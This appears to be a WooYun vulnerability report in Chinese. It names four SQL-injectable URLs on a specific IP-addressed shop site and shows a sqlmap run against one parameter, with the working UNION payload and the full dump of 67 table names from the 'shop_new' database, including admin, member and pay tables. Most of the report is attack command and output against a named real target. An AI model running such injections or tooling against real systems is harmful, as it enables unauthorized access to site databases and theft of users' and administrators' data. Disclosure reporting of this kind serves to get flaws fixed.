WooYun.org

http://202.41.245.3/liuyan/cjwt.jsp?CState=2 存在sql注入漏洞
http://202.41.245.3/gonggao/newsview.jsp?id=801 存在sql注入漏洞
http://202.41.245.3/liuyan/yhd.jsp?precolumn1=2 存在sql注入漏洞
http://202.41.245.3/liuyan/yhd.jsp p=88952634&TITLE=88952634&CSort=88952634&precolumn1=2 存在POST sql注入漏洞
注入一堆
好好查查
随便一个注入
c:\Python27\sqlmap>sqlmap.py -u "http://202.41.245.3/liuyan/cjwt.jsp?CState=2" -
D shop_new --tables
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:26:40
[21:26:41] [INFO] resuming back-end DBMS 'mysql'
[21:26:41] [INFO] testing connection to the target URL
[21:26:42] [INFO] heuristics detected web page charset 'ISO-8859-2'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: CState
Type: UNION query
Title: MySQL UNION query (NULL) - 17 columns
Payload: CState=2' UNION ALL SELECT CONCAT(0x7172697571,0x486748756673784148
5a,0x7176727a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NUL
L,NULL,NULL,NULL#
---
[21:26:42] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5
[21:26:42] [INFO] fetching tables for database: 'shop_new'
[21:26:42] [INFO] the SQL query used returns 67 entries
Database: shop_new
[67 tables]
+-----------------------+
| catalog |
| admin |
| admin_group |
| admin_group_auth |
| admin_log |
| adv |
| agent |
| agent_apply |
| agent_grade |
| agent_message |
| agent_notice |
| agent_rake_rule |
| agent_task |
| agent_task_detail |
| announce |
| attach |
| authentication_action |
| bargain |
| comment |
| config |
| counseling |
| ct_recall_info |
| delivery |
| favory |
| gain |
| gain_detail |
| hot_search_key |
| icontent |
| investigate |
| member |
| member_level |
| message |
| news_info |
| news_topic |
| notice |
| notice_sms |
| operate_detail |
| order_detail |
| pay |
| pgroup |
| point_rule |
| porder |
| present |
| product |
| product_color |
| product_color_bak |
| product_group_map |
| product_mlevel_map |
| product_oos |
| product_param |
| product_size |
| product_size_sort |
| qq_client_service |
| sequence |
| temp_visit_data |
| tiein |
| uarea |
| user_recall_info |
| web_link |
| ww_adv |
| ww_download |
| ww_enterprise_member |
| ww_jingp_pro |
| ww_jingpai |
| ww_news |
| ww_news_tpye |
| ww_policy |
+-----------------------+
[21:26:42] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\202.41.245.3'
[*] shutting down at 21:26:42